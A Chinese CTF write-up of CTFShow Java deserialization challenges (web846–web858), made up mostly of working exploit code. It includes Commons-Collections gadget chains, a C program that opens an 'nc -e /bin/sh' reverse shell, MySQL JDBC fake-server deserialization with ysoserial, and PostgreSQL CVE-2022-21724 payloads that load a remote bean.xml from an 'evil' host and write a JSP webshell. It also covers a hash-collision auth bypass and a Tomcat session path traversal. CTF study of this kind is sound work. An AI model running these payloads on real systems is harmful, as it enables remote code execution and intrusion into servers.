CTFShow Java反序列化
web846
URL DNS链,直接构造就行
package CC1;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> h = new HashMap<>();
URL url = new URL("http://c663d4f2-5854-4e9a-bf4c-27e0ccff6cf5.challenge.ctf.show/");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 555); // 在put前修改hashCode的值,避免序列化的时候本地发起DNS请求
h.put(url, 1);
hashCodeField.set(url, -1); // put之后改为-1
String S = serializeToBase64(h);
System.out.println(S);
}
public static String serializeToBase64(Object obj) throws IOException {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
public static Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64String);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
}
顺带一提,这里要对post的内容需要进行一次url编码。
web847-web853
这部分的题的CC链就可以打,但是ban掉的类又没有写,完全不知道有什么意义。
web854
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,包含:
- TransformedMap
- PriorityQueue
- InstantiateTransformer
- TransformingComparator
- TemplatesImpl
- AnnotationInvocationHandler
- HashSet
- Hashtable
- LazyMap
根据限制,使用BadAttributeValueExpException做入口,用DefaultedMap替换LazyMap,走Runtime.exec。也就是CC5那条链
package ctfshow.ser;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.Map;
import static ctfshow.ser.Tools.deserializeFromBase64;
import static ctfshow.ser.Tools.serializeToBase64;
public class Web854 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc IP PORT -e /bin/sh"})
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
Map defaultedMap = new DefaultedMap(chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, null);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, tiedMapEntry);
String s = serializeToBase64(val);
System.out.println(s);
// deserializeFromBase64(s);
}
}
web855
没有使用额外的库,但有个user类
package com.ctfshow.entity;
import java.io.*;
public class User implements Serializable {
private static final long serialVersionUID = 0x36d;
private String username;
private String password;
public User(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
private static final String OBJECTNAME="ctfshow";
private static final String SECRET="123456";
private static String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
int magic = in.readInt();
if(magic==2135247942){
byte var1 = in.readByte();
switch (var1){
case 1:{
int var2 = in.readInt();
if(var2==0x36d){
FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME);
fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46});
byte[] temp = new byte[1];
while((in.read(temp))!=-1){
fileOutputStream.write(temp);
}
fileOutputStream.close();
in.close();
}
break;
}
case 2:{
ObjectInputStream.GetField gf = in.readFields();
String username = (String) gf.get("username", null);
String password = (String) gf.get("password",null);
username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
User var3 = new User(username,password);
User admin = new User(OBJECTNAME,SECRET);
if(var3 instanceof User){
if(OBJECTNAME.equals(var3.getUsername())){
throw new RuntimeException("object unserialize error");
}
if(SECRET.equals(var3.getPassword())){
throw new RuntimeException("object unserialize error");
}
if(var3.equals(admin)){
Runtime.getRuntime().exec(shellCode);
}
}else{
throw new RuntimeException("object unserialize error");
}
break;
}
default:{
throw new RuntimeException("object unserialize error");
}
}
}
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof User)) return false;
User user = (User) o;
return this.hashCode() == user.hashCode();
}
@Override
public int hashCode() {
return username.hashCode()+password.hashCode();
}
}
这里ObjectInputStream的readInt, readByte, read是从流中读数据的,这些数据可以在序列化writeObject的时候写入流中。
简单测试下:
private void writeObject(ObjectOutputStream out) throws IOException {
out.writeInt(2135247942);
out.writeByte(1);
out.writeInt(0x36d);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
int magic = in.readInt();
System.out.println(magic);
if(magic==2135247942){
byte var1 = in.readByte();
System.out.println(var1);
switch (var1){
case 1:{
int var2 = in.readInt();
System.out.println(var2);
break;
}
case 2:{
break;
}
default:{
throw new RuntimeException("object unserialize error");
}
}
}
}
这个User的readObject可以干两件事,对应着case 1和case 2
- 把输入流中的数据写到文件中。
- 执行这个写好的文件。
写入文件
用case 1写一个恶意文件,gcc Evil.c -o Evil
#include<stdlib.h>
int main() {
system("nc ip port -e /bin/sh");
return 0;
}
编译好后,将文件前四个字节删掉(后面写文件时会提前写入)。
编写writeObject创建第一次传入的反序列化字符串。
private void writeObject(ObjectOutputStream out) throws IOException {
out.writeInt(2135247942);
out.writeByte(1);
out.writeInt(0x36d);
File filename = new File("src/main/java/com/ctfshow/entity/web855"); //gcc生成的文件位置
BufferedInputStream in = new BufferedInputStream(new FileInputStream(filename));
ByteArrayOutputStream out2 = new ByteArrayOutputStream(1024);
byte[] temp = new byte[1024];
int size = 0;
while((size = in.read(temp)) != -1){
out2.write(temp, 0, size);
}
in.close();
byte[] content = out2.toByteArray();
out.write(content);
out.defaultWriteObject();
}
Hash碰撞
case 2中会将传入的User对象的username和password提取出来实例化一个var3,其中username和password不能为ctfshow/123456,但要满足var3.equals(admin)。
这里equals是User类重写了的,比较的是两个类的hashCode(),而hashCode()也经过了重写
public int hashCode() {
return username.hashCode() + password.hashCode();
}
而字符串的hashCode方法为
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
对字符串中的每一个字符,都将之前计算的 h(初始为0) 值乘以31,然后加上当前字符的ASCII值。最后这个值就是这个字符串的hash值。
很显然这个是可以碰撞出一样hash值的字符串的。参考yu22x师傅的脚本
def hashcode(val):
h=0
for i in range(len(val)):
h=31 * h + ord(val[i])
return h
# 最少只要前两个字符的和相同,后面计算出来的和也相同
t = "ct"
# t = "12"
for k in range(1, 128):
for l in range(1, 128):
if t != (chr(k) + chr(l)):
if(hashcode(t) == hashcode(chr(k)+chr(l))):
print(t, chr(k)+chr(l))
找到了用dUtfshow/0Q3456代替ctfshow/123456。
重写writeObject
private void writeObject(ObjectOutputStream out) throws IOException {
out.writeInt(2135247942);
out.writeByte(2);
out.defaultWriteObject();
}
序列化
package com.ctfshow.entity;
import static com.ctfshow.entity.Tools.deserializeFromBase64;
import static com.ctfshow.entity.Tools.serializeToBase64;
public class Demo {
public static void main(String[] args) throws Exception{
User user = new User("dUfshow", "0Q3456");
String s = serializeToBase64(user);
System.out.println(s);
// deserializeFromBase64(s);
}
}
web856
MySQL JDBC 客户端反序列化,参考https://www.anquanke.com/post/id/203086
这个漏洞发生在MySQL JDBC连接数据库的时候,如果JDBC URL可控,那可以让它连接到我们MySQL服务器上来执行一个自定义的反序列化内容。
Demo
public class Demo {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
JDBC URL的格式如下:protocol//[hosts]/[database]?properties。前面都好理解,问题在properties上,它可以设定MySQL Connector/J连接mysql服务器的具体方式。其中和漏洞的连接属性有两个,分别是autoDeserialize和queryInterceptors。
autoDeserialize:设定MySQL Connector/J是否反序列化BLOB类型的数据queryInterceptors:拦截器,在查询执行时触发,在执行查询语句前后分别调用拦截器的preProcess和postProcess方法。
而在getConnection过程中,会触发SET NAMES utf、set autocommit=1一类的请求,所以会触发我们所配置的queryInterceptors。
在ServerStatusDiffInterceptor的preProcess方法中会进行SHOW SESSION STAUS语句并获取结果,因为设置autoDeserialize=true,这个结果会被反序列化。
所以如果能操作这个查询结果,就可以任意执行反序列化操作,这里用到的工具是MySQL_Fake_Server。
回到题目,题目环境有commons-collections 4.0,那么我们可以用一条CC链来执行命令。修改MySQL_Fake_Server的config.json的yso,让ysoserial执行查到的对应user的命令。
{
"config":{
"ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"sky3":["CommonsCollections4","nc IP PORT -e /bin/sh"]
}
}
在服务器上运行server.py。然后构造exp
public static void main(String[] args) throws Exception{
Connection connection = new Connection();
connection.setSchema("jdbc:mysql");
connection.setHost("IP");
connection.setPort(3306);
connection.setDatabase("autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor");
connection.setUser(new User("sky3", "123"));
String s = serializeToBase64(connection);
System.out.println(s);
// deserializeFromBase64(s);
}
传入,get shell
web857
参考:https://forum.butian.net/share/1339
REC
package sec.PostgreSQL;
import java.sql.Connection;
import java.sql.DriverManager;
public class cve_2022_21724 {
public static void main(String[]args)throws Exception{
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://evil:8888/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
System.out.println(jdbcUrl);
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
bean.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,base64}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
文件写入
package sec.PostgreSQL;
import java.sql.DriverManager;
public class cve_2022_21724_filewrite {
public static void main(String[]args)throws Exception{
String loggerLevel="DEBUG";
String loggerFile="../hack.jsp";
String shellContent="<%25test;%25>";
String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
System.out.println(dbUrl);
DriverManager.getConnection(dbUrl);
}
}
exp,RCE没跑通不知道为什么
public static void main(String[] args) throws Exception{
Connection connection = new Connection();
connection.setSchema("jdbc:postgresql");
connection.setDriver("org.postgresql.Driver");
connection.setHost("127.0.0.1");
connection.setPort(5432);
String loggerLevel="DEBUG";
String loggerFile="../webapps/ROOT/hack.jsp";
String shellContent="<%Runtime.getRuntime().exec(request.getParameter(\\\"i\\\"));%>";
String dbUrl = "loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
connection.setDatabase(dbUrl);
connection.setUser(new User("sky3", "123"));
String s = serializeToBase64(connection);
System.out.println(s);
// deserializeFromBase64(s);
}
web858
参考:https://blog.csdn.net/qq_40898302/article/details/124291764
漏洞之后复现一下,记下解题流程
用下面的代码生成user类的序列化文件
package com.ctfshow.entity;
import java.io.*;
public class Demo {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
User user = new User();
user.setUsername("cp /flag /usr/local/tomcat/webapps/ROOT/flag.txt");
serialize(user);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.session"));
oos.writeObject(obj);
}
}
上传a.session,用下面的脚本触发
import requests
url = 'http://49b46d3b-952f-4c2d-b796-92952a64f714.challenge.ctf.show/'
cookies = {
"JSESSIONID":"../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a"
}
response = requests.get(url=url,cookies=cookies)
print(response.text)
访问http://49b46d3b-952f-4c2d-b796-92952a64f714.challenge.ctf.show/flag.txt
参考链接
https://evo1ution.cn/2023/08/26/ctfshow-web4/
https://blog.csdn.net/miuzzx/article/details/128221385